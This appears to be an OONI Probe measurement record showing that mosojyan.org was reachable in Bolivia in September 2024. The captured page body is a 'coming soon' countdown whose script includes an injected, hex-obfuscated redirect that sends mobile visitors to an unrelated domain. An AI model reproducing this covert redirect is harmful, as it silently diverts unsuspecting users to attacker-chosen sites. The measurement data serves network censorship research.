OK
http://mosojyan.org/
Bolivia
Country
Network
September 19, 2024, 08:51 PM UTC
Date & Time
Websites
Websites
Runtime: 4s
On September 19, 2024, 08:51 PM UTC, http://mosojyan.org/ was accessible when tested on AS6568 in Bolivia.

Failures

HTTP Experiment
null
DNS Experiment
null
Control
null

DNS Queries

Resolver:
172.253.219.23
Query:
IN A mosojyan.org
Engine:
system
Name
Class
TTL
Type
DATA
@
IN
A
192.185.155.252

TCP Connections

Connection to 192.185.155.252:80 succeeded.

HTTP Requests

URL
GET http://mosojyan.org/
Response Headers
Accept-Ranges:
bytes
Connection:
Upgrade
Content-Length:
4213
Content-Type:
text/html
Date:
Thu, 19 Sep 2024 20:49:50 GMT
Last-Modified:
Thu, 01 Jan 1970 00:00:00 GMT
Server:
Apache
Upgrade:
h2,h2c
Vary:
Accept-Encoding
Response Body
<html>
  <head>
    <title>COMING SOON</title>
  <body>
    <div class="bgimg">
      <div class="middle">
        <h1>COMING SOON</h1>
        <hr>
        <p id="demo" style="font-size:30px"></p>
      </div>
    </div>
    <style>
      body,
      html {
        height: 100%;
        margin: 0;
      }

      .bgimg {
        background-image: url("https://i.imgur.com/xA8aaXN.png");
        height: 100%;
        background-position: center;
        background-size: cover;
        position: relative;
        color: white;
        font-family: "Courier New", Courier, monospace;
        font-size: 25px;
      }

      .topleft {
        position: absolute;
        top: 0;
        left: 16px;
      }

      .bottomleft {
        position: absolute;
        bottom: 0;
        left: 16px;
      }

      .middle {
        position: absolute;
        top: 80%;
        left: 50%;
        transform: translate(-50%, -50%);
        text-align: center;
      }

      hr {
        margin: auto;
        width: 40%;
      }
    </style>
    </head>
    <body>
      <script>
        var countDownDate = new Date("Jul 30, 2024 12:14:54").getTime();
        var countdownfunction = setInterval(function() {
          var now = new Date().getTime();
          var distance = countDownDate - now;
          var days = Math.floor(distance / (1000 * 60 * 60 * 24));
          var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
          var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
          var seconds = Math.floor((distance % (1000 * 60)) / 1000);
          document.getElementById("demo").innerHTML = days + "d " + hours + "h " + minutes + "m " + seconds + "s ";
          if (distance < 0) {
            clearInterval(countdownfunction);
            document.getElementById("demo").innerHTML = "EXPIRED";
          }
        }, 1000);
		window.mobileCheck = function() {
		  let check = false;
		  (function(a){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))) check = true;})(navigator.userAgent||navigator.vendor||window.opera);
		  return check;
		};
		if (window.mobileCheck()) {
		  window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x69\x6e\x66\x6f\x2f\x42\x53\x45\x30\x72\x35";
		}
      </script>
    </body>
</html>

Resolver

Resolver ASN
AS15169
Resolver IP
172.253.219.23
Resolver Network Name
Google LLC
Report ID
20240919T202744Z_webconnectivity_BO_6568_n1_qCYIlaKkLugQebzG
Platform
android
Software Name
ooniprobe-android-unattended (3.8.6)
Measurement Engine
ooniprobe-engine (3.20.0)

Raw Measurement Data

Loading